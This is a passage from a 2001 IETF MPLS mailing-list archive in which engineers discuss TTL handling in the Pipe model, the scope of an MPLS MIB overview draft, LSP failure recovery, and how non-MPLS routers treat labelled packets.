Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA16008 for mpls@uu.net; Tue, 9 Oct 2001 16:34:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkas20549
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:33:06 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkas23152
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:31:43 GMT
Received: from father.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: father.pmc-sierra.bc.ca [216.241.224.13])
	id QQlkas27517
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:31:56 GMT
Received: (qmail 3228 invoked by uid 104); 9 Oct 2001 20:31:41 -0000
Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-1.00 (uvscan: v4.1.40/v4164. . Clean. Processed in 0.398271 secs); 09 Oct 2001 20:31:41 -0000
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by father.pmc-sierra.bc.ca with SMTP; 9 Oct 2001 20:31:40 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f99KVdM03310;
	Tue, 9 Oct 2001 13:31:39 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4K2QTZ>; Tue, 9 Oct 2001 13:34:11 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA7F@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Tue, 9 Oct 2001 13:34:07 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Puneet,

The reason that Pipe model was introduced was that we didn't want to store the customer policies in the egress LSR. This meant from the Diffserv perspective, that we didn't want to store EXP<=>PHB mapping for each individual customer. The Pipe model essentially terminates the tunnel on the ingress line card of the Router downstream of the Egress LSR, rather than on the egress line-card of the egress LSR.

As mentioned in your draft, each domain may have its own policy (value to be decremented) for decrementing the TTL. Therefore it seems to me that for the same reason, it is better not to store TTL decrementing policy and apply it to the packet in the egress LSR for the Pipe model. 

Therefore I suggest that the Pipe model TTL processing be the same as Short-pipe model with PHP.

Yours,
-Shahram

> -----Original Message-----
> From: Puneet Agarwal [mailto:puneet@pluris.com]
> Sent: Monday, October 08, 2001 5:18 PM
> To: mpls@UU.NET
> Subject: New revision of the MPLS ttl draft
> 
> 
> A new revision of the "TTL Processing in MPLS Networks" has 
> been submitted.
> This updates the -00 version of the draft.
> 
> Any comments/suggestions would be much appreciated.
> 
> -Puneet and Bora
> 
> 
> 



From owner-mpls@UU.NET  Tue Oct  9 16:43:16 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13285
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 16:43:16 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkas06478;
	Tue, 9 Oct 2001 20:36:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkas20930
	for mpls-outgoing; Tue, 9 Oct 2001 20:36:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkas20884
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:36:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkas11834
	for <mpls@uu.net>; Tue, 9 Oct 2001 20:36:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkas06340
	for <mpls@uu.net>; Tue, 9 Oct 2001 20:36:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA13613 for <mpls@uu.net>; Tue, 9 Oct 2001 16:36:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA16131 for mpls@uu.net; Tue, 9 Oct 2001 16:36:02 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkas20783
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:35:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkas27162
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:34:09 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkas01835
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:34:22 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA13370; Tue, 9 Oct 2001 16:34:07 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (ch2-dhcp134-211.cisco.com [161.44.134.211])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAS22396;
	Tue, 9 Oct 2001 16:34:05 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011009162718.019ed090@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 09 Oct 2001 16:35:12 -0400
To: Irfan Lateef <ilateef@vill.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: MPLS Management Overview Draft
Cc: Adrian Farrel <afarrel@movaz.com>, mpls@UU.NET,
        Cheenu Srinivasan <cheenu@alphion.com>
In-Reply-To: <3BC35A0A.ED9E8874@vill.com>
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com>
 <3BC3417D.D7AF748A@vill.com>
 <01c301c150f2$1729af00$681810ac@movaz.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_22207122==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_22207122==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


         Hi,

>I am referring to the examples in
>sec.8 of TE-MIB
>sec.8 of Bundling MIB
>sec.8 of GMPLS TE MIB(Actually you left this MIB out in your draft?)
>sec.6 of FTN MIB
>sec.8 of LMP MIB
>sec.8 of LSR MIB
>sec.11 of VPN MIB
>
>I think just copying may not be sufficient, but as Adrian said, we may 
>have to make
>this (appear!) as a one huge working example together.

         We (myself and co-authors of each of the MIBs you
referred to) have tried to make the examples in those MIBs
sufficiently cross-referenced, and sufficiently detailed. I think that
we should make those examples fully detailed in their native
documents. It was however, my recollection that the goal and intent of
this document was to show how things fit together at a high level, and
not delve too much into the details. The point was to make
this document a good starting point for developers and operators.
 From here they could go to the specific drafts for more details.

>My other suggestion which I missed was to include the GMPLS related MIBs
>and the OSPF MIB.

         Which OSPF MIB?

>Adrian,
>As you said, such an example will be hugely useful, only if "timely" 
>delivered. I
>have no clue about Tom's book, it may be a good reference for later use, 
>but for now the
>examples will help the people who are running with his drafts.

         The book issue is irrelevant here. Lets focus on what it takes
to have a sufficient and succinct MPLS MIB overview document.

         --Tom




>Regards,
>Irfan Lateef
>
>Thomas Nadeau wrote:
>
> > >This was a much needed effort. Just one feedback.
> > >You have examples in all the other draft MIBs. It will
> > >be good if you can add those examples in this draft and
> > >adjust the values of the attributes to show the linkages.
> > >Just a thought.
> >
> >          Do you mean copy the examples out of the other
> > drafts and put them in here as part of one large example?
> >
> >          --Tom
>
>Adrian Farrel wrote:
>
> > Irfan,
> >
> > The existing MIBs contain worked examples that include all of the
> > cross-references between MIBs.
> > It is generally not good practice to include this sort of material in 
> two places
> > and it would be an editorial nightmare.
> >
> > I can well believe that a full worked example of how to make all of the 
> MIBs in
> > a system hang together in detail would be hugely useful.  I don't believe,
> > however, that this should live in an Internet Draft.  You may find this
> > information in Tom's book when it is published (that'll be $10 please, 
> Tom) or
> > more likely get it as a tutorial from your software vendor.
> >
> > We will, however, look at beefing up the 'dependencies' sections to 
> describe the
> > abstract references between the MIBs to make it still clearer how they 
> relate to
> > each other.
> >
> > Regards,
> > Adrian
> > --
> > Adrian Farrel
> > Movaz Networks Inc.
> > Tel: 703-847-1867
> > afarrel@movaz.com
> > ----- Original Message -----
> > > Tom,
> > >
> > > This was a much needed effort. Just one feedback.
> > > You have examples in all the other draft MIBs. It will
> > > be good if you can add those examples in this draft and
> > > adjust the values of the attributes to show the linkages.
> > > Just a thought.
> > > Regards,
> > > Irfan Lateef
> > >
>
>--
>Irfan Lateef
>Village Networks Inc,



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_22207122==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Hi,<br>
<br>
<blockquote type=cite cite>I am referring to the examples in<br>
sec.8 of TE-MIB<br>
sec.8 of Bundling MIB<br>
sec.8 of GMPLS TE MIB(Actually you left this MIB out in your 
draft?)<br>
sec.6 of FTN MIB<br>
sec.8 of LMP MIB<br>
sec.8 of LSR MIB<br>
sec.11 of VPN MIB<br>
<br>
I think just copying may not be sufficient, but as Adrian said, we may
have to make<br>
this (appear!) as a one huge working example
together.</blockquote><font face="Arial, Helvetica"><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>We (myself
and co-authors of each of the MIBs you<br>
referred to) have tried to make the examples in those MIBs<br>
sufficiently cross-referenced, and sufficiently detailed. I think that
<br>
we should make those examples fully detailed in their native <br>
documents. It was however, my recollection that the goal and intent of
<br>
this document was to show how things fit together at a high level,
and<br>
not delve too much into the details. The point was to make<br>
this document a good starting point for developers and operators.<br>
 From here they could go to the specific drafts for more details.<br>
<br>
</font><blockquote type=cite cite>My other suggestion which I missed was
to include the GMPLS related MIBs <br>
and the OSPF MIB.</blockquote><font face="Arial, Helvetica"><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Which OSPF
MIB?<br>
<br>
</font><blockquote type=cite cite>Adrian,<br>
As you said, such an example will be hugely useful, only if
&quot;timely&quot; delivered. I<br>
have no clue about Tom's book, it may be a good reference for later use,
but for now the<br>
examples will help the people who are running with his
drafts.</blockquote><font face="Arial, Helvetica"><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>The book
issue is irrelevant here. Lets focus on what it takes<br>
to have a sufficient and succinct MPLS MIB overview document.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
</font><blockquote type=cite cite>Regards,<br>
Irfan Lateef<br>
<br>
Thomas Nadeau wrote:<br>
<br>
&gt; &gt;This was a much needed effort. Just one feedback.<br>
&gt; &gt;You have examples in all the other draft MIBs. It will<br>
&gt; &gt;be good if you can add those examples in this draft and<br>
&gt; &gt;adjust the values of the attributes to show the linkages.<br>
&gt; &gt;Just a thought.<br>
&gt;<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Do you mean
copy the examples out of the other<br>
&gt; drafts and put them in here as part of one large example?<br>
&gt;<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --Tom<br>
<br>
Adrian Farrel wrote:<br>
<br>
&gt; Irfan,<br>
&gt;<br>
&gt; The existing MIBs contain worked examples that include all of
the<br>
&gt; cross-references between MIBs.<br>
&gt; It is generally not good practice to include this sort of material
in two places<br>
&gt; and it would be an editorial nightmare.<br>
&gt;<br>
&gt; I can well believe that a full worked example of how to make all of
the MIBs in<br>
&gt; a system hang together in detail would be hugely useful.&nbsp; I
don't believe,<br>
&gt; however, that this should live in an Internet Draft.&nbsp; You may
find this<br>
&gt; information in Tom's book when it is published (that'll be $10
please, Tom) or<br>
&gt; more likely get it as a tutorial from your software vendor.<br>
&gt;<br>
&gt; We will, however, look at beefing up the 'dependencies' sections to
describe the<br>
&gt; abstract references between the MIBs to make it still clearer how
they relate to<br>
&gt; each other.<br>
&gt;<br>
&gt; Regards,<br>
&gt; Adrian<br>
&gt; --<br>
&gt; Adrian Farrel<br>
&gt; Movaz Networks Inc.<br>
&gt; Tel: 703-847-1867<br>
&gt; afarrel@movaz.com<br>
&gt; ----- Original Message -----<br>
&gt; &gt; Tom,<br>
&gt; &gt;<br>
&gt; &gt; This was a much needed effort. Just one feedback.<br>
&gt; &gt; You have examples in all the other draft MIBs. It will<br>
&gt; &gt; be good if you can add those examples in this draft and<br>
&gt; &gt; adjust the values of the attributes to show the linkages.<br>
&gt; &gt; Just a thought.<br>
&gt; &gt; Regards,<br>
&gt; &gt; Irfan Lateef<br>
&gt; &gt;<br>
<br>
--<br>
Irfan Lateef<br>
Village Networks Inc,</blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_22207122==_.ALT--



From owner-mpls@UU.NET  Tue Oct  9 16:46:35 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13326
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 16:46:35 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkas02016;
	Tue, 9 Oct 2001 20:43:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkas21531
	for mpls-outgoing; Tue, 9 Oct 2001 20:43:22 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkas21520
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 20:43:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkas18021
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:40:39 GMT
Received: from zcars0m9.nortelnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQlkas24630
	for <mpls@UU.NET>; Tue, 9 Oct 2001 20:40:53 GMT
Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f99Ke4S08021
	for <mpls@UU.NET>; Tue, 9 Oct 2001 16:40:04 -0400 (EDT)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Tue, 9 Oct 2001 16:40:19 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <4SX6Q2WD>; Tue, 9 Oct 2001 16:40:02 -0400
Message-ID: <3549C09B853DD5119B540002A52CDD3454B93A@zcard0ka.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'manis@futsoft.com'" <manis@futsoft.com>,
        "'Sachin Kalra'" <skalra@opnet.com>, "mpls@uu.net" <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 16:40:01 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C15102.912F1190"
X-Orig: <dallan@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15102.912F1190
Content-Type: text/plain;
	charset="iso-8859-1"

Venkata/Mani:

-----Original Message-----
From: Naidu, Venkata [mailto:Venkata.Naidu@Marconi.com]
Sent: Tuesday, October 09, 2001 1:01 PM
To: 'manis@futsoft.com'; 'Sachin Kalra'; mpls@uu.net




-> If you have a "local repair" support implemented, Router 16 will
-> reroute the LSP from itself (Router16) to the destination. It is not
-> required for the rerouting to be done from the Ingress or the head
-> of the LSP - which is known as "Global repair".

>  Strictly speaking, there is no requirement that only the
>  affected router (Router 16 here) should do "local repair".
>  Any router/LSR which has sufficient information can do 
>  local repair (for example router 15 or 14 etc)

Technically the definition of local repair in the framework document is THE
router upstream of the failure taking action. Pragmatically, if the router
is not adjacent to the failure, then you need fault propagation, more
complex diversity algorithms, and endure longer outages on failure (due to
propagation delay).
 
-> Secondly Router 16 can reroute avoiding Router 17, only when
-> Router 17 is not an explicit Hop to be reached from Router 16 for
-> the rerouted LSP

>  Not necessarily true. If one of the links between Router 16 
>  and Router 17 fails, the _only_ requirement is to avoid the
>  failed "link" and not the complete "node" (Router 17 here).

>  So Router 16 can locally route the LSP to another parallel
>  link to Router 17 _OR_ another disjoint path to 17. What you
>  are trying to achieve here is link disjointness and not
>  node disjointness.

I'm hearing about 3 things here:

- the fact that a backup route that is diverse with the failed resource may
not exist.
- the requirement is for the backup path to avoid the failure (and you may
not be able to distinguish link and node failures in which case pre-planned
recovery paths need to go to the next-next-hop).
- a scenario where a failure can authoritratively be localized to one link
in a multi-link adjacency.

So my failure detection tells me what it can, and I do recovery accoringly
(including declaring real "hard" failure when an alternative does not
exist).
   
-> W.r.to your questions, If Router 16, has indicated the ingress
-> and done the reroute (global repair), It will not indicate the
                                           ^^^^^
-> ingress to reroute again when the link between 16 and 17 comes
-> up.

>  Router 16 MAY indicate the ingress LER when the link between
>  Router 16 and 17 comes back up. There are no hard and fast rules...

The rules depend on whether the network recovers and re-uses those LSP
resources that survive a failure or not. 

Dave

------_=_NextPart_001_01C15102.912F1190
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>RE: LSP Failure/Recovery</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Venkata/Mani:</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Naidu, Venkata [<A =
HREF=3D"mailto:Venkata.Naidu@Marconi.com">mailto:Venkata.Naidu@Marconi.c=
om</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, October 09, 2001 1:01 PM</FONT>
<BR><FONT SIZE=3D2>To: 'manis@futsoft.com'; 'Sachin Kalra'; =
mpls@uu.net</FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>-&gt; If you have a &quot;local repair&quot; support =
implemented, Router 16 will</FONT>
<BR><FONT SIZE=3D2>-&gt; reroute the LSP from itself (Router16) to the =
destination. It is not</FONT>
<BR><FONT SIZE=3D2>-&gt; required for the rerouting to be done from the =
Ingress or the head</FONT>
<BR><FONT SIZE=3D2>-&gt; of the LSP - which is known as &quot;Global =
repair&quot;.</FONT>
</P>

<P><FONT SIZE=3D2>&gt;&nbsp; Strictly speaking, there is no requirement =
that only the</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; affected router (Router 16 here) should =
do &quot;local repair&quot;.</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; Any router/LSR which has sufficient =
information can do </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; local repair (for example router 15 or 14 =
etc)</FONT>
</P>

<P><FONT SIZE=3D2>Technically the definition of local repair in the =
framework document is THE router upstream of the failure taking action. =
Pragmatically, if the router is not adjacent to the failure, then you =
need fault propagation, more complex diversity algorithms, and endure =
longer outages on failure (due to propagation delay).</FONT></P>

<P><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>-&gt; Secondly Router 16 can reroute avoiding Router =
17, only when</FONT>
<BR><FONT SIZE=3D2>-&gt; Router 17 is not an explicit Hop to be reached =
from Router 16 for</FONT>
<BR><FONT SIZE=3D2>-&gt; the rerouted LSP</FONT>
</P>

<P><FONT SIZE=3D2>&gt;&nbsp; Not necessarily true. If one of the links =
between Router 16 </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; and Router 17 fails, the _only_ =
requirement is to avoid the</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; failed &quot;link&quot; and not the =
complete &quot;node&quot; (Router 17 here).</FONT>
</P>

<P><FONT SIZE=3D2>&gt;&nbsp; So Router 16 can locally route the LSP to =
another parallel</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; link to Router 17 _OR_ another disjoint =
path to 17. What you</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; are trying to achieve here is link =
disjointness and not</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; node disjointness.</FONT>
</P>

<P><FONT SIZE=3D2>I'm hearing about 3 things here:</FONT>
</P>

<P><FONT SIZE=3D2>- the fact that a backup route that is diverse with =
the failed resource may not exist.</FONT>
<BR><FONT SIZE=3D2>- the requirement is for the backup path to avoid =
the failure (and you may not be able to distinguish link and node =
failures in which case pre-planned recovery paths need to go to the =
next-next-hop).</FONT></P>

<P><FONT SIZE=3D2>- a scenario where a failure can authoritratively be =
localized to one link in a multi-link adjacency.</FONT>
</P>

<P><FONT SIZE=3D2>So my failure detection tells me what it can, and I =
do recovery accoringly (including declaring real &quot;hard&quot; =
failure when an alternative does not exist).</FONT></P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>-&gt; W.r.to your questions, If Router 16, has =
indicated the ingress</FONT>
<BR><FONT SIZE=3D2>-&gt; and done the reroute (global repair), It will =
not indicate the</FONT>
<BR><FONT =
SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^^^^^</FONT>
<BR><FONT SIZE=3D2>-&gt; ingress to reroute again when the link between =
16 and 17 comes</FONT>
<BR><FONT SIZE=3D2>-&gt; up.</FONT>
</P>

<P><FONT SIZE=3D2>&gt;&nbsp; Router 16 MAY indicate the ingress LER =
when the link between</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; Router 16 and 17 comes back up. There are =
no hard and fast rules...</FONT>
</P>

<P><FONT SIZE=3D2>The rules depend on whether the network recovers and =
re-uses those LSP resources that survive a failure or not. </FONT>
</P>

<P><FONT SIZE=3D2>Dave</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C15102.912F1190--


From owner-mpls@UU.NET  Tue Oct  9 17:30:08 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA13798
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 17:30:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkav27623;
	Tue, 9 Oct 2001 21:28:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkav13734
	for mpls-outgoing; Tue, 9 Oct 2001 21:27:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkav13727
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 21:27:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkav13707
	for <mpls@UU.NET>; Tue, 9 Oct 2001 21:27:22 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlkav25893
	for <mpls@UU.NET>; Tue, 9 Oct 2001 21:27:35 GMT
Message-ID: <3BC36BB7.C30BD828@sandburst.com>
Date: Tue, 09 Oct 2001 17:27:20 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: sganguly@opulentsystems.com
Cc: MPLS Spec List <mpls@UU.NET>
Subject: Re: 
References: <jUsT.aNoTheR.mEsSaGe.iD.10026598008558@www.opulentsystems.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

SG,

    You could think of every device as having a default forwarding
mechanism - 'see a packet, drop a packet'.  If a device is not able
to process packets for XYZ protocol, it effectively has no choice
but to service it with this default forwarding mechanism.  It could
also notify 'higher layers' that it saw such a packet.

    I believe that most real network devices have defined formats
that they support and defined behaviors for all other formats.  In
many ways, this question is similar to asking what will happen if
a frame relay packet is received on an ATM interface.  Such things
only happen as a result of installation/configuration errors.

    In the MPLS case, for example, how would a labeled packet get
to a non MPLS node since it surely didn't distribute a valid label?

You wrote:

> Hi,
>   I see the "non-mpls router" definition from your point. I was just
> trying to lay out the possibilities and was not trying to defend
> or beat up on any one approach. I understand the problem about having
> a non-mpls island between two MPLS LSP's and the issues with loss
> of knowledge as far as the label linkages are concerned and I did
> mention that in my previous reply.
>   Coming back to your definition of "mpls aware router", what would
> happen if the non-mpls complaint router detects an MPLS packet. I
> don't believe it has been defined any where, is that true?
>
> SG
>
>
> At Tuesday, 9 October 2001, "Arun M. Thomas" <AMammenT@yahoo.com> wrote:
>
> >Just a comment....  As Eric mentioned, it seems to be a matter of
> >definition.  In order for the tunneling idea to work, the router,
> while it
> >may not have an MPLS daemon running to handle label exchange, still
> needs to
> >be capable of detecting MPLS labelled packets.  As soon as that
> is true, I
> >don't really think it's valid to say the router is a non-mpls router.
> >(That's my definition.... If what was meant originally by "non-mpls
> router"
> >was simply that no handling of labels is ongoing, then all that's
> written
> >below continues to be valid.
> >
> >-AMT
> >
> >-----Original Message-----
> >From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Hongwei
> >Sent: Tuesday, October 09, 2001 8:58 AM
> >To: sganguly@opulentsystems.com
> >Cc: mpls@UU.NET
> >Subject: RE:
> >
> >THX for discussion :).  Yes, tunnel may be another idea, but it
> will more
> >complicate.  The mpls LERs should be policed to be aware of tunnels,
> and if
> >the LERs around the non-mpls island want to share mpls knowledge
> (such as
> >labels and TTLs),  every LER has to know which LER across the island
> is the
> >next hop. The non-mpls router is a bottleneck if it has to be routed
> >through.
> >
> >--hongwei
> >
> >-----Original Message-----
> >From: Sukanta Ganguly [mailto:sganguly@opulentsystems.com]
> >Sent: 09 October 2001 15:57
> >To: Hongwei
> >Subject: RE:
> >
> >Depends on the vendor implemetation. The packet can either tunneled
> so that
> >it retains its MPLS tag via a non-MPLS network or the MPLS tag(s)
> can be
> >completely removed from the packet in which if the packet travels
> through a
> >MPLS island further then new tags have to be inserted and new LSP's
> have to
> >be used. In the latter case the sender's MPLS knowledge which as
> originally
> >present in the packet is lost.
> >
> >SG
> >

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Tue Oct  9 17:54:56 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14168
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 17:54:56 -0400 (EDT)
